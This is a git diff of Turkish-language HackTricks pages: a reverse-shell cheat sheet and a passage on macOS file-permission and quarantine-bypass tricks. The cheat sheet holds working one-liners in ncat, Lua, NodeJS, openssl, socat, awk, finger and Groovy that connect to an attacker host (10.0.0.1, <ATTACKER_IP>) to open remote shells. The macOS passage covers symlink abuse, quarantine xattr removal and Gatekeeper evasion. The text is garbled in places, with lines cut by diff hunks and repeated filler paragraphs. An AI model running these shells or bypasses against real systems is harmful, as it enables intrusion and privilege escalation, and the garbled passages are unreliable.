For example, to scan ports `1` to `100` on `example.com`, you can use:
```bash
ncat -v -z example.com 1-100
```
### File Transfer
Ncat can be used to transfer files between two hosts. To send a file from the local host to a remote host, you can use the following command on the remote host:
```bash
ncat -l <port> > <file>
```
On the local host, you can use the following command to send the file:
```bash
ncat <host> <port> < <file>
```
### Remote Administration
Ncat can also be used for remote administration tasks. For example, you can use it to execute commands on a remote host by piping the output of a command on the local host to a command on the remote host. Here's an example:
```bash
echo "ls -l" | ncat <host> <port> | bash
```
This will execute the `ls -l` command on the remote host and display the output on the local host.
### Conclusion
Ncat is a versatile networking utility that can be used for various purposes, including establishing network connections, port scanning, file transfer, and remote administration. It is a powerful tool in the hands of a skilled hacker.
```bash
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
attacker> ncat -v 10.0.0.22 4444 --ssl
```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli olan zafiyetleri bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
En önemli güvenlik açıklarını bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi izler, proaktif tehdit taramaları çalıştırır, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -682,19 +169,7 @@ echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","
```
## Lua
Lua, bir betik dili olarak kullanılan hafif ve hızlı bir programlama dilidir. Genellikle oyun geliştirme, gömülü sistemler ve genel amaçlı betikleme için kullanılır. Lua, basit bir sözdizimine sahiptir ve C diline benzer bir yapıya sahiptir.
Lua, birçok platformda desteklenir ve geniş bir kullanıcı topluluğuna sahiptir. Lua betikleri, bir Lua yürütücüsü kullanılarak çalıştırılır. Lua yürütücüsü, Lua betiklerini yorumlar ve çalıştırır.
Lua, birçok farklı amaç için kullanılabilir. Örneğin, Lua, oyunlarda yapay zeka ve oyun mekaniği oluşturmak için sıklıkla kullanılır. Ayrıca, Lua, gömülü sistemlerde kullanılan bir betikleme dili olarak da kullanılabilir.
Lua, birçok farklı kütüphane ve modülle genişletilebilir. Bu kütüphane ve modüller, Lua'nın işlevselliğini artırır ve daha karmaşık projelerin geliştirilmesini sağlar.
Lua, hızlı ve hafif bir dil olduğu için performans açısından da tercih edilir. Bu nedenle, özellikle kaynak sınırlı sistemlerde kullanılmak üzere tasarlanmıştır.
Lua, basit ve anlaşılır bir dil olduğu için öğrenmesi kolaydır. Ayrıca, Lua'nın geniş bir kullanıcı topluluğu olduğu için, sorularınızı sormak ve yardım almak için birçok kaynak bulabilirsiniz.
Lua, genel olarak betikleme ve hız gerektiren projelerde kullanılan bir programlama dilidir. Hızlı, hafif ve genişletilebilir olması nedeniyle birçok geliştirici tarafından tercih edilir.
Lua, bir betik dili ve hafif bir çoklu programlama dilidir. Lua, C programlama dili ile kolayca entegre edilebilir ve genellikle oyun geliştirme ve uygulama betikleme için kullanılır. Lua, basit sözdizimi ve hızlı çalışma zamanıyla bilinir. Lua, açık kaynaklıdır ve MIT lisansı altında dağıtılmaktadır. Lua, genellikle betiklerin çalıştırılması için kullanılan bir kabuk olarak da hizmet verebilir.
```bash
#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
@ -702,20 +177,6 @@ lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','123
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```
## NodeJS
NodeJS, birçok platformda çalışabilen ve JavaScript tabanlı bir çalışma zamanı ortamıdır. NodeJS, sunucu tarafı uygulamaları geliştirmek için kullanılır ve özellikle web uygulamaları için popüler bir seçenektir.
NodeJS, olay tabanlı ve tek iş parçacıklı bir mimariye sahiptir, bu da yüksek performans ve ölçeklenebilirlik sağlar. Ayrıca, paket yöneticisi olan npm ile birlikte gelir, bu da geliştiricilere birçok hazır modül ve kütüphane kullanma imkanı sunar.
NodeJS, birçok farklı amaç için kullanılabilir. Örneğin, web sunucusu oluşturmak, API'ler oluşturmak, veritabanı işlemleri yapmak, dosya işlemleri gerçekleştirmek ve daha fazlası için kullanılabilir.
NodeJS ile çalışırken, JavaScript dilini kullanarak sunucu tarafı kodlama yapabilirsiniz. Bu, geliştiricilerin hem istemci tarafı hem de sunucu tarafı kodlama için aynı dil ve araçları kullanmasını sağlar, bu da geliştirme sürecini kolaylaştırır.
NodeJS, geniş bir topluluk tarafından desteklenmektedir ve sürekli olarak güncellenmektedir. Bu da yeni özelliklerin ve iyileştirmelerin hızla yayılmasını sağlar.
NodeJS, birçok büyük şirket tarafından kullanılmaktadır ve popüler bir seçenektir. Örneğin, Netflix, LinkedIn, Uber ve daha birçok şirket NodeJS'i tercih etmektedir.
NodeJS, geliştiricilere hızlı ve verimli bir şekilde sunucu tarafı uygulamaları geliştirme imkanı sunar. Bu nedenle, NodeJS'i öğrenmek ve kullanmak, bir geliştirici için değerli bir beceri olabilir.
```javascript
(function(){
var net = require("net"),
@ -768,14 +229,7 @@ openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo wil
```
### Kurban
Bir saldırı gerçekleştirmek için hedef seçmek önemlidir. Hedefinizi belirlerken dikkate almanız gereken bazı faktörler vardır:
- **Bilgi**: Hedefiniz hakkında mümkün olduğunca çok bilgi toplamaya çalışın. İnternet üzerindeki açık kaynak istihbarat (OSINT) araçlarını kullanarak hedefinizle ilgili bilgileri bulmaya çalışın.
- **Zaafiyetler**: Hedefinizin kullanabileceğiniz potansiyel zayıflıkları olup olmadığını belirlemek önemlidir. Bu, hedefin kullandığı işletim sistemi, yazılım veya ağ altyapısı gibi faktörleri değerlendirmeyi içerir.
- **Erişim Noktaları**: Hedefinizin erişilebilirlik noktalarını belirleyin. Bu, hedefin ağ yapısı, sunucuları, uygulamaları veya diğer sistemleri içerebilir.
- **Hedefin Önemi**: Hedefinizin önemini değerlendirin. Bu, hedefin sektördeki konumu, verilerin değeri veya hedefin itibarı gibi faktörleri içerebilir.
Bu faktörleri dikkate alarak hedefinizi seçin ve saldırı stratejinizi buna göre oluşturun.
Kurban, saldırganın hedef aldığı kişiyi veya cihazı temsil eder. Saldırgan, kurban üzerinde çeşitli saldırı teknikleri kullanarak hassas bilgilere erişmeyi hedefler. Kurban genellikle saldırganın hedefine ulaşmak için zayıf bir halka olarak görülür.
```bash
#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
@ -792,46 +246,26 @@ openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_cli
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
```
A reverse shell is a technique used in hacking to establish a connection between the attacker's machine and the target machine. This allows the attacker to gain remote access to the target machine's command shell. The reverse shell is initiated by the target machine, which connects back to the attacker's machine, enabling the attacker to execute commands on the target machine.
To create a reverse shell, the attacker typically needs to exploit a vulnerability or trick the target into running a malicious script or program. Once the connection is established, the attacker can interact with the target machine's command shell, execute commands, and potentially gain full control over the system.
Reverse shells are commonly used in post-exploitation scenarios, where the attacker wants to maintain persistent access to the target machine. By establishing a reverse shell, the attacker can continue to control the compromised system even if the initial exploit is discovered and patched.
There are various tools and techniques available for creating reverse shells, including using netcat, socat, or custom scripts. The choice of tool depends on the specific requirements and constraints of the attack scenario.
It is important to note that reverse shells are powerful hacking tools and should only be used for legitimate purposes, such as penetration testing or authorized security assessments. Unauthorized use of reverse shells is illegal and can result in severe legal consequences.
### Ters Kabuk
```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
## Awk
Awk, bir metin işleme aracıdır ve Linux kabuğunda sıkça kullanılır. Metin dosyalarını okuyabilir, belirli bir desene göre satırları işleyebilir ve sonuçları ekrana veya başka bir dosyaya yazabilir.
Awk, bir komut satırı aracıdır ve genellikle bir komut satırı kabuğunda kullanılır. Awk komutu, bir veya daha fazla dosya adı veya standart giriş olarak kullanılan bir dosya adı listesi ile çağrılır.
Awk, bir dizi desen-metin çifti olan bir programlama diline benzer bir dil kullanır. Bu desenler, metin dosyasındaki satırları eşleştirmek için kullanılır ve ardından belirli bir eylem gerçekleştirilir.
Awk, birçok yerleşik işlev ve değişken içerir. Bu işlevler ve değişkenler, metin dosyalarını işlemek için kullanılabilir ve işlemler sırasında kullanılabilir.
Awk, metin dosyalarını işlemek için birçok farklı yöntem sunar. Bu yöntemler, metin dosyalarını filtrelemek, dönüştürmek, düzenlemek veya analiz etmek için kullanılabilir.
Awk, Linux kabuğunda kullanılan birçok diğer araçla birlikte kullanılabilir. Bu araçlar, grep, sed, cut ve sort gibi araçları içerir. Bu araçlarla birlikte kullanıldığında, Awk daha güçlü ve esnek bir metin işleme aracı haline gelir.
Awk, Linux kabuğunda kullanılan birçok farklı senaryoda kullanılabilir. Bu senaryolar, log dosyalarını analiz etmek, veritabanı sorgularını işlemek, metin dosyalarını dönüştürmek veya raporlamak gibi işlemleri içerebilir.
Awk, Linux kabuğunda kullanılan birçok farklı senaryoda kullanılabilir. Bu senaryolar, log dosyalarını analiz etmek, veritabanı sorgularını işlemek, metin dosyalarını dönüştürmek veya raporlamak gibi işlemleri içerebilir.
Awk, Linux ve diğer Unix benzeri işletim sistemlerinde kullanılan bir komut satırı aracı ve programlama dili olarak hizmet verir. Metin dosyalarını işlemek için sıklıkla kullanılır ve genellikle metin ayrıştırma ve raporlama için kullanılır. Awk, metin dosyalarını satır satır okur, belirli desenlere uyan satırları işler ve belirli eylemleri gerçekleştirir. Awk, komut satırında kullanıldığında güçlü bir araç olabilir ve birçok farklı senaryoda kullanılabilir.
```bash
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
```
Finger, saldırganın hedef sistemdeki kullanıcı bilgilerini elde etmek için kullandığı bir saldırı yöntemidir. Finger protokolü, bir kullanıcının adını veya kullanıcı adını kullanarak hedef sistemdeki kullanıcı bilgilerini almak için kullanılır. Bu bilgiler genellikle kullanıcının tam adı, e-posta adresi, son oturum bilgileri ve diğer kullanıcıya özgü ayrıntıları içerir. Finger saldırıları, hedef sistemdeki kullanıcıların gizliliğini tehlikeye atabilir ve saldırganlara hedef sistemdeki kullanıcılar hakkında bilgi sağlayabilir. Bu nedenle, hedef sistemlerde finger protokolünün devre dışı bırakılması veya sınırlanması önemlidir.
## Parmak
**Saldırgan**
```bash
while true; do nc -l 79; done
```
Komutu göndermek için yazın, enter tuşuna basın ve CTRL+D'ye basın (STDIN'i durdurmak için)
**Hedef**
**Kurban**
```bash
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done
@ -839,17 +273,9 @@ export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | gre
```
## Gawk
Gawk, kısaltması "GNU Awk" olan bir metin işleme aracıdır. Gawk, metin dosyalarını işlemek ve verileri çıkarmak için kullanılır. Ayrıca, metin dosyalarında arama yapma, dönüşüm yapma ve raporlama gibi işlemleri gerçekleştirebilir.
### Gawk
Gawk, bir komut satırı aracıdır ve bir Unix kabuğunda çalıştırılır. Bir metin dosyasını işlemek için bir komut dosyası kullanır. Bu komut dosyası, Gawk tarafından yorumlanır ve belirli bir formatta çıktı üretir.
Gawk, birçok farklı dilde yazılmış komut dosyalarını çalıştırabilir. Bu, Gawk'ın çok yönlü bir araç olmasını sağlar. Ayrıca, Gawk, kullanıcı tarafından tanımlanan işlevler ve değişkenler gibi gelişmiş özelliklere sahiptir.
Gawk, birçok farklı senaryoda kullanılabilir. Örneğin, log dosyalarını analiz etmek, veritabanı sorgularını işlemek veya metin tabanlı raporlar oluşturmak için kullanılabilir.
Gawk, Linux sistemlerinde yaygın olarak kullanılan bir araçtır ve birçok Linux dağıtımında varsayılan olarak bulunur. Ayrıca, diğer Unix benzeri işletim sistemlerinde de kullanılabilir.
Gawk'ın temel kullanımı, metin dosyalarını işlemek ve verileri çıkarmaktır. Bu, birçok farklı senaryoda kullanışlı olabilir ve birçok farklı görevi otomatikleştirmenize yardımcı olabilir.
Gawk, GNU Project tarafından geliştirilen bir metin işleme dilidir. Genellikle metin dosyalarını işlemek için kullanılır ve metin tabanlı verileri biçimlendirmek için güçlü bir araçtır. Gawk, Linux sistemlerinde sıkça kullanılan bir araçtır ve genellikle komut satırında kullanılır. Gawk'ün esnek ve güçlü bir dil olması, metin işleme ve veri analizi için popüler bir seçim olmasını sağlar.
```bash
#!/usr/bin/gawk -f
@ -874,11 +300,11 @@ close(Service)
```
## Xterm
Bu, sistemine 6001 numaralı bağlantı noktasından bağlanmaya çalışacak:
Bu, sistemize 6001 numaralı porta bağlanmaya çalışacaktır:
```bash
xterm -display 10.0.0.1:1
```
Ters kabuk yakalamak için (6001 numaralı bağlantı noktasında dinleyecek olan) şunu kullanabilirsiniz:
Ters kabuk yakalamak için kullanabileceğiniz (6001 numaralı bağlantı noktasında dinleyecek):
```bash
# Authorize host
xhost +targetip
@ -887,7 +313,7 @@ Xnest :1
```
## Groovy
[frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) tarafından NOT: Java ters kabuk da Groovy için çalışır.
[frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) tarafından NOT: Java ters kabuk aynı zamanda Groovy için de çalışır.
```bash
String host="localhost";
int port=8044;
@ -895,29 +321,22 @@ String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
## Referanslar
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
* [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell)
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli güvenlik açıklarını bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,15 +2,15 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimizden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerinizi paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
@ -18,37 +18,37 @@ HackTricks'i desteklemenin diğer yolları:
Bir **dizin** içindeki izinler:
* **okuma** - dizin girişlerini **listeleyebilirsiniz**
* **yazma** - dizindeki **dosyaları silme/yazma** yeteneğine sahip olursunuz ve **boş klasörleri silebilirsiniz**.&#x20;
* Ancak, **yazma izniniz olmadıkça dolu klasörleri silme/değiştirme** yeteneğiniz yoktur.
* Bir klasörün adını **sahip olmadıkça değiştiremezsiniz**.
* **çalıştırma** - dizini **gezebilmenize izin verir** - bu hakkınız yoksa, içindeki dosyalara veya alt dizinlere erişemezsiniz.
* **okuma** - dizin girdilerini **listeleyebilirsiniz**
* **yazma** - dizinde **dosyaları silebilir/yazabilirsiniz** ve **boş klasörleri silebilirsiniz**.
* Ancak **doluluk klasörlerini silemez/değiştiremezsiniz** yazma izniniz olmadıkça.
* Bir klasörün adını **değiştiremezsiniz** sahip olmadıkça.
* **çalıştırma** - dizini **gezebilirsiniz** - bu hakkınız yoksa, içindeki dosyalara veya alt dizinlere erişemezsiniz.
### Tehlikeli Kombinasyonlar
**Kök tarafından sahip olunan bir dosya/klasörü nasıl üzerine yazarız**, ancak:
**Root'a ait bir dosya/dizini nasıl üzerine yazabilirsiniz**, ancak:
* Yolun bir üst **dizin sahibi** kullanıcıdır
* Yolun bir üst **dizin sahibi**, **yazma erişimine sahip olan bir kullanıcı grubudur**
* Bir kullanıcı grubu, **dosyaya yazma** erişimine sahiptir
* Yol üzerinde bir ebeveyn **dizin sahibi** kullanıcıdır
* Yol üzerinde bir ebeveyn **dizin sahibi** kullanıcı grubudur ve **yazma erişimi** vardır
* Bir kullanıcı grubu **dosyaya yazma** erişimine sahiptir
Yukarıdaki kombinasyonlardan herhangi biriyle, saldırgan ayrıcalıklı bir keyfi yazma elde etmek için beklenen yola bir sembolik/sabit bağ enjekte edebilir.
Önceki kombinasyonlardan herhangi biriyle, bir saldırgan ayrıcalıklı keyfi yazma elde etmek için beklenen yola bir **sembolik/sabit bağlantı enjekte** edebilir.
### Dizin kökü R+X Özel durumu
### Dizin kökü R+X Özel durum
Eğer bir **dizin** içinde **yalnızca kök R+X erişimine sahipse** dosyalara **başka kimse erişemez**. Bu nedenle, bir kullanıcının okuyabileceği bir dosyayı okuyamadığı bir **kısıtlama** nedeniyle bu klasörden **başka bir klasöre** taşımak için bir zafiyet, bu dosyaları okumak için kötüye kullanılabilir.
Eğer bir **dizinde yalnızca root'un R+X erişimi varsa** dosyalar **başka kimseye erişilemez**. Bu nedenle, bir kullanıcı tarafından okunabilen ancak bu **kısıtlama** nedeniyle okunamayan bir dosyanın bu dizinden **başka bir dizine taşınmasına** izin veren bir zafiyet, bu dosyaları okumak için kötüye kullanılabilir.
Örnek: [https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions)
## Sembolik Bağlantı / Sabit Bağlantı
Eğer ayrıcalıklı bir işlem, **düşük ayrıcalıklı bir kullanıcı tarafından kontrol edilebilen** veya daha önceden düşük ayrıcalıklı bir kullanıcı tarafından **oluşturulabilen** bir **dosyaya** veri yazıyorsa, kullanıcı sadece bir Sembolik veya Sabit bağlantı aracılığıyla onu başka bir dosyaya yönlendirebilir ve ayrıcalıklı işlem o dosyaya yazacaktır.
Eğer ayrıcalıklı bir işlem, **düşük ayrıcalıklı bir kullanıcı** tarafından **kontrol edilebilen bir dosyaya** veri yazıyorsa veya daha önceden düşük ayrıcalıklı bir kullanıcı tarafından oluşturulmuşsa. Kullanıcı sadece bir Sembolik veya Sabit bağlantı aracılığıyla onu başka bir dosyaya **yönlendirebilir** ve ayrıcalıklı işlem o dosyaya yazacaktır.
Saldırganın ayrıcalıkları yükseltmek için keyfi yazmayı nasıl kötüye kullanabileceğini görmek için diğer bölümlere bakın.
Saldırganın ayrıcalıkları yükseltmek için keyfi yazmayı kötüye kullanabileceği diğer bölümlere bakın.
## .fileloc
**`.fileloc`** uzantılı dosyalar, diğer uygulamalara veya ikili dosyalara işaret edebilir, böylece açıldıklarında uygulama/ikili dosya çalıştırılır.\
**`.fileloc`** uzantılı dosyalar diğer uygulamalara veya ikili dosyalara işaret edebilir, bu nedenle açıldıklarında uygulama/ikili dosya yürütülecektir.\
Örnek:
```xml
<?xml version="1.0" encoding="UTF-8"?>
@ -64,19 +64,19 @@ Saldırganın ayrıcalıkları yükseltmek için keyfi yazmayı nasıl kötüye
```
## Keyfi FD
Eğer bir **işlemi yüksek ayrıcalıklarla bir dosya veya klasör açmaya zorlayabilirseniz**, **`crontab`**'ı kullanarak `/etc/sudoers.d` içindeki bir dosyayı **`EDITOR=exploit.py`** ile açabilirsiniz, böylece `exploit.py` `/etc/sudoers` içindeki dosyaya FD alacak ve onu kötüye kullanabilecektir.
Eğer bir **işlemi yüksek ayrıcalıklarla bir dosyayı veya klasörü açmaya** zorlayabilirseniz, **`crontab`**'ı kötüye kullanarak `/etc/sudoers.d` içindeki bir dosyayı **`EDITOR=exploit.py`** ile açabilirsiniz, böylece `exploit.py` `/etc/sudoers` içindeki dosyaya FD alacak ve kötüye kullanacaktır.
Örneğin: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
## Karantina xattrs hilelerinden kaçınma
### Onu kaldırın
### Kaldırma
```bash
xattr -d com.apple.quarantine /path/to/file_or_app
```
### uchg / uchange / uimmutable bayrağı
Bir dosya/dizin bu değiştirilemez özelliğe sahipse üzerine bir xattr eklemek mümkün olmayacaktır.
Bir dosya/dizin bu değişmez özelliğe sahipse üzerine xattr eklemek mümkün olmayacaktır.
```bash
echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
@ -86,9 +86,9 @@ xattr: [Errno 1] Operation not permitted: '/tmp/asd'
ls -lO /tmp/asd
# check the "uchg" in the output
```
### defvfs bağlama
### defvfs mount
**devfs** bağlaması **xattr** desteklemez, daha fazla bilgi için [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html) sayfasına bakın.
Bir **devfs** bağlantısı **xattr**'ı desteklemez, daha fazla bilgi için [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
```bash
mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
@ -122,13 +122,13 @@ ls -le /tmp/test
```
### **com.apple.acl.text xattr + AppleDouble**
**AppleDouble** dosya formatı, ACE'leri de içeren bir dosyanın kopyasını oluşturur.
**AppleDouble** dosya formatı, dosyayı ACE'leriyle birlikte kopyalar.
[**Kaynak kodunda**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) görülebileceği gibi, **`com.apple.acl.text`** adlı xattr içinde depolanan ACL metin temsili, sıkıştırılmış dosyada ACL olarak ayarlanacaktır. Bu nedenle, ACL'yi diğer xattr'ların yazılmasını engelleyen bir ACL ile birlikte bir uygulamayı zip dosyasına sıkıştırdıysanız... karantina xattr uygulamaya ayarlanmamış olacaktır:
[**Kaynak kodunda**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) görülebileceği gibi, **`com.apple.acl.text`** adlı xattr içinde depolanan ACL metin temsili, sıkıştırılmış dosyada ACL olarak ayarlanacaktır. Dolayısıyla, bir uygulamayı diğer xattr'lerin yazılmasını engelleyen bir ACL ile **AppleDouble** dosya formatına sahip bir zip dosyasına sıkıştırırsanız... karantina xattr uygulamaya ayarlanmaz:
Daha fazla bilgi için [**orijinal raporu**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) kontrol edin.
Daha fazla bilgi için [**orijinal rapora**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) bakın.
Bunu çoğaltmak için önce doğru acl dizesini elde etmemiz gerekiyor:
Bunu çoğaltmak için önce doğru acl dizesini almalıyız:
```bash
# Everything will be happening here
mkdir /tmp/temp_xattrs
@ -146,19 +146,19 @@ ditto -c -k del test.zip
ditto -x -k --rsrc test.zip .
ls -le test
```
(Not: Bu işe yarasa bile, kum havuzu önce karantina xattr'ı yazar)
(Not: Bu çalışsa bile, kum havuzu xattr'yi karantinaya yazmadan önce)
Gerçekten gerekli değil ama her ihtimale karşı burada bırakıyorum:
Gerçekten gerekli değil ama her ihtimale karşı orada bırakıyorum:
{% content-ref url="macos-xattr-acls-extra-stuff.md" %}
[macos-xattr-acls-extra-stuff.md](macos-xattr-acls-extra-stuff.md)
{% endcontent-ref %}
## Kod İmzalarını Atlama
## Kod İmzalarını Atlatma
Bundles, **`_CodeSignature/CodeResources`** adlı dosyayı içerir ve bu dosya, **bundle** içindeki her bir **dosyanın karma değerini** içerir. CodeResources'un karma değeri aynı zamanda **yürütülebilir dosyaya gömülüdür**, bu yüzden onunla oynamamız mümkün değildir.
